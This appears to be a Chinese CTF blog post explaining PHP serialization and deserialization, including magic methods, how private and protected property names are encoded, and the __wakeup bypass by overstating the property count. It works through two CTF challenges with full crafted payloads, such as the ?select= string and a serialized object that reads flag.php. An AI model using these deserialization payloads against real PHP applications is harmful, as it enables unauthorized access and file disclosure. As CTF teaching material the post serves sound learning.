zoukankan      html  css  js  c++  java
  • CTF中的序列化与反序列化

    记一些CTF出现的序列化与反序列化的知识点和题目。

    序列化和反序列化的概念

    序列化就是将对象转换成字符串。字符串包括 属性名 属性值 属性类型和该对象对应的类名。
    反序列化则相反将字符串重新恢复成对象。
    对象的序列化利于对象的保存和传输,也可以让多个文件共享对象。

    序列化中常见的魔法函数:

    __construct() 创建对象时调用
    __destruct() 销毁对象时调用
    __toString() 当一个对象被当作一个字符串使用
    __sleep() 在对象在被序列化之前运行
    __wakeup 将在序列化之后立即被调用
    

    看一串字符串

    O:3:"Ctf":3{s:4:"flag";s:13:"flag{abedyui}";s:4:"name";s:7:"Sch0lar";s:3:"age";s:2:"18";}
    
    O代表对象 因为我们序列化的是一个对象 序列化数组则用A来表示
    3 代表类名字占三个字符 
    ctf 类名
    3 代表三个属性
    s代表字符串
    4代表属性名长度
    flag属性名
    s:13:"flag{abedyui}" 字符串 属性值长度 属性值
    

    访问控制修饰符

    根据访问控制修饰符的不同 序列化后的 属性长度和属性值会有所不同,所以这里简单提一下

    public(公有)
    protected(受保护)
    private(私有的)
    protected属性被序列化的时候属性值会变成:%00*%00属性名
    private属性被序列化的时候属性值会变成:%00类名%00属性名
    

    就像这样

    O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}//这里是private属性被序列化
    

    绕过__wakeup()函数

    当序列化字符串表示对象属性个数的值大于真实个数的属性时就会跳过__wakeup的执行。

    //将上面的对象属性个数值改成逼真实个数打
    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    

    看几道基础的题目

    [极客大挑战 2019]PHP

    扫目录拿到www.zip网站的备份源码。

    <?php
    include 'flag.php';
    error_reporting(0);
    class Name{
        private $username = 'nonono';
        private $password = 'yesyes';
    
        public function __construct($username,$password){
            $this->username = $username;
            $this->password = $password;
        }
    
        function __wakeup(){
            $this->username = 'guest';
        }
    
        function __destruct(){
            if ($this->password != 100) {
                echo "</br>NO!!!hacker!!!</br>";
                echo "You name is: ";
                echo $this->username;echo "</br>";
                echo "You password is: ";
                echo $this->password;echo "</br>";
                die();
            }
            if ($this->username === 'admin') {
                global $flag;
                echo $flag;
            }else{
                echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
                die();
    
    
            }
        }
    }
    $a = new Name("admin",100);
    $a = serialize($a);
    echo $a;
    ?>
    

    得到

    O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
    

    绕过__wakeup

    O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}
    

    private属性被序列化的时候属性值会变成%00类名%00属性名,根据规则进行修改

    O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    

    然后?select传值

    ?select=O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}
    
    ISCC2020-Php is the best language(php反序列化)
    <?php
    @error_reporting(1);
    include 'flag.php';
    class baby
    {
        public $file="flag.php";     //本来是public $file这里改成public $file="flag.php"; 
        function __toString()
        {
            if(isset($this->file))
            {
                $filename = "./{$this->file}";
                if (base64_encode(file_get_contents($filename)))
                {
                    return base64_encode(file_get_contents($filename));
                }
            }
        }
    }/*
    if (isset($_GET['data']))
    {
        $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
    }
    else
    {
        $url='./index.php';
    }
    $html='';
    if(isset($_POST['test'])){
        $s = $_POST['test'];
        $html.="<p>谢谢参与!</p>";
    }*/
    //下面是解题代码
    $a = new baby("flag.php");
    $a = serialize($a);
    echo $a;      //O:4:"baby":1:{s:4:"file";s:8:"flag.php";}
    ?>
    

    然后传值

  • 相关阅读:
    Django的model form
    Django之验证码
    ajax获取跨域数据
    js+css模仿打字效果
    CSS自定义消息提示
    CSS画各种二维图形
    最简单的动态进度条
    利用javascript(自定义事件)记录尺寸可变元素的尺寸变化过程
    超级简单的利用javascript实现文件拖拽事件
    javascript 公历与农历相互转换工具类
  • 原文地址:https://www.cnblogs.com/HelloCTF/p/13044403.html
Copyright © 2011-2022 走看看